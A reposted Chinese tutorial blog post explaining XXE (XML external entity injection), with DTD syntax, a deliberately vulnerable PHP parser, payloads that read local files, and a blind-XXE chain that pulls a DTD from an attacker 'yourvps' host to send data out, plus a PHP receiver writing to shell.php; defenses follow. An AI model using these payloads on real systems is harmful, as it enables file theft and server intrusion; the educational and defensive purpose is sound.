XXE漏洞原理[通俗易懂]

XXE漏洞原理[通俗易懂]XXE漏洞是XML外部实体注入漏洞,那什么是外部实体呢?XMLDTD1、文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。2、DTD可被成行地声明于XML文档中,也可作为一个外部引用。Ps:第二条是重点,也是XXE漏洞产生的原因,DTD可以定义外部实体并引用DTD语法若DTD要在XML文档中使用,他需要包含在·DOCTYPE声明…

大家好,又见面了,我是你们的朋友全栈君。

XXE漏洞是XML外部实体注入漏洞,那什么是外部实体呢?


XML DTD

1、文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。

2、DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用

Ps:第二条是重点,也是XXE漏洞产生的原因,DTD可以定义外部实体并引用

DTD语法

  • 若DTD要在XML文档中使用,他需要包含在·DOCTYPE声明中

  • 语法

    <!DOCTYPE 根元素 [元素声明]>
    
  • 实体引用

    <!ENTITY 实体名 “”实体值“”>
    
  • 示例代码

    <?xml version="1.0" encoding="utf-8"?> //xml声明
    <!DOCTYPE playwin [ <!ENTITY name "playwin">
    ]>
    <resume>
    <name> &name; </name>
    </resume>
    

    在这里插入图片描述

    • 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 ( ; )。
    • 声明 name 的值为 playwin ,下面引用 &name;xml会自动解析为他的值,如果有的话,否则报错
  • 外部实体

    • 简单的说,就不是xml本身已定义的实体,需要引用在xml文件之外的数据。
    • 语法
      <!ENTITY 实体名字 SYSTEM "URI/URL">
      
      • SYSTEM 启了一个声明作用,让解析器知道,这是一个外部实体
      • 如果不在其他环境中,只打开xml文件本身,浏览器默认是不会引用外部实体
        在这里插入图片描述
    • 根据不同环境不同协议读取外部数据
      在这里插入图片描述

什么是XXE

  • XXE 也就是 XML外部实体注入攻击

利用方式

  • php环境下

    <?php
    $xml=simplexml_load_string($_GET['xml']);
    print_r($xml);
    ?>	
    
  • 将以下xml代码进行URL编码,读取文件

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE playwin [ <!ENTITY name SYSTEM "file:///D:/phpStudy/PHPTutorial/WWW/1.txt">
    ]>
    <resume>
    <name> &name; </name>
    </resume>
    

    在这里插入图片描述

  • 回显
    在这里插入图片描述

    • 成功XXE

    XXE能做什么

    • blind XXE

      • 若上面php中没有print_r,我们还是可以发起http请求,进行攻击

      • <?php
        $xml=simplexml_load_string($_GET['xml']);
        ?>
        
      • 利用参数实体

        <!ENTITY % 实体名字 SYSTEM(外部实体加上) ‘实体值’>
        
      • 在vps创建一个php文件

        <?php
        file_put_contents("shell.php", $_GET['file']) ;
        ?>
        
      • 通过过参数实体,请求vps上的dtd文件

        • dtd文件
        <!ENTITY % haha "<!ENTITY ok SYSTEM 'http://yourvps/2.php?file=123'>">
        
        • xml文件
        <?xml version="1.0" encoding="utf-8"?>
        <!DOCTYPE playwin [ <!ENTITY % name SYSTEM "http://yourvps/1.dtd">  //请求dtd文件
        %name;
        %haha;
        ]>
        <resume>
        <name> &ok; </name>
        </resume>
        
      • 结果
        在这里插入图片描述

        • 理论上我们可以写入shell
    • 读取文件

      • 利用各种协力读取想要的文件
      • 读取php文件需要利用php://协议进行base64加密输出,因为php< ,>会影响到xml
    • 命令执行

      • php环境下,xml命令执行要求php装有expect扩展,而且php上解析也需要它
    • 内网探测/SSRF

      • XML 外部实体中是可以使用http://协议,可以利用该请求去探查内网,进行SSRF攻击
    • 进行 DOS 攻击

    • 文件上传

      • 在java中利用jar://协议可实现
    • 钓鱼


    防御XXE

    • 禁用开发语言引用外部实体的能力
      • PHP:

        libxml_disable_entity_loader(true);

      • JAVA:

        DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();

        dbf.setExpandEntityReferences(false);

      • Python:

        from lxml import etree

        xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

    • 白名单过滤

    判断是否存在XXE漏洞

    • xml是否会被解析
      <?xml version='1.0' encoding='utf-8'?>
      <!DOCTYPE ROOT [ <!ENTITY playwin "success">
      ]>
      <root>&playwin;</root>
      
      • 若出现success,则说明解析成功,进行下一步
    • 检测服务器是否支持引用外部实体
      <?xml version='1.0' encoding='utf-8'?>
      <!DOCTYPE ROOT [ <!ENTITY playwin SYSTEM "http://yourvps/xx.txt">
      ]>
      <root>&playwin;</root>
      
      • 解析成功,说明有XXE漏洞
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/142367.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • c语言十进制小数转二进制代码_c语言十进制转换成二进制

    c语言十进制小数转二进制代码_c语言十进制转换成二进制十进制转二进制,整数部分采用除以二取余,小数部分采用乘以二取整。网上大多数转换都是针对整数的,这里写一个小数的做个纪念#include#includeintmain(){doublea=0.2784;inti=0;printf(“0.”);for(i=0;i<18;i++){if(a*2>1)

    2022年9月24日
    2
  • 【python】分苹果

    【python】分苹果问题:一堆苹果,5个人。第一个人将苹果丢掉一个,然后平均分成5份后拿走其中的一份;第二个人将剩余的苹果丢掉一个,然后再平均分成5份后拿走其中的一份,依次类推…第五个人在第四个人拿走剩下的那部分苹果中同样丢掉一个,然后平均分成5份后拿走其中的一份。求问最少的苹果数。depth=0defmatch(num):””””””globaldepth…

    2022年8月31日
    2
  • day9

    day9

    2021年7月2日
    74
  • navicat激活码2021【2021最新】

    (navicat激活码2021)2021最新分享一个能用的的激活码出来,希望能帮到需要激活的朋友。目前这个是能用的,但是用的人多了之后也会失效,会不定时更新的,大家持续关注此网站~https://javaforall.net/100143.htmlIntelliJ2021最新激活注册码,破解教程可免费永久激活,亲测有效,上面是详细链接哦~DB…

    2022年3月26日
    75
  • android的timertask,Android 中 Timer 和 TimerTask的使用「建议收藏」

    Android中Timer是一个普通的类,其中有几个重要的方法;而TimerTask则是一个抽象类,其中含有一个抽象方法run()。使用Timer类中的schedule()方法可以完成对TimerTask的调度,该方法具有三个参数,其函数声明如下:publicvoidschedule(TimerTasktask,longdelay,longperiod)其中第一个参数为TimerTa…

    2022年4月18日
    41
  • Java后端学习路线图,你真的只需要这一张!

    Java后端学习路线图,你真的只需要这一张!原文链接前言学习路线图往往是学习一样技术的入门指南。网上搜到的Java学习路线图也是一抓一大把。今天我只选一张图,仅此一图,足以包罗Java后端技术的知识点。所谓不求最好,但求最全,学习Java后端的同学完全可以参考这张图进行学习路线安排。当然,有一些知识点是可选的,并不是说上面有的你都要会啦。我在复习秋招的过程中就是基于此图进行复习的,感觉效果还是不错的。闲言少叙,我们还…

    2022年5月17日
    46

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号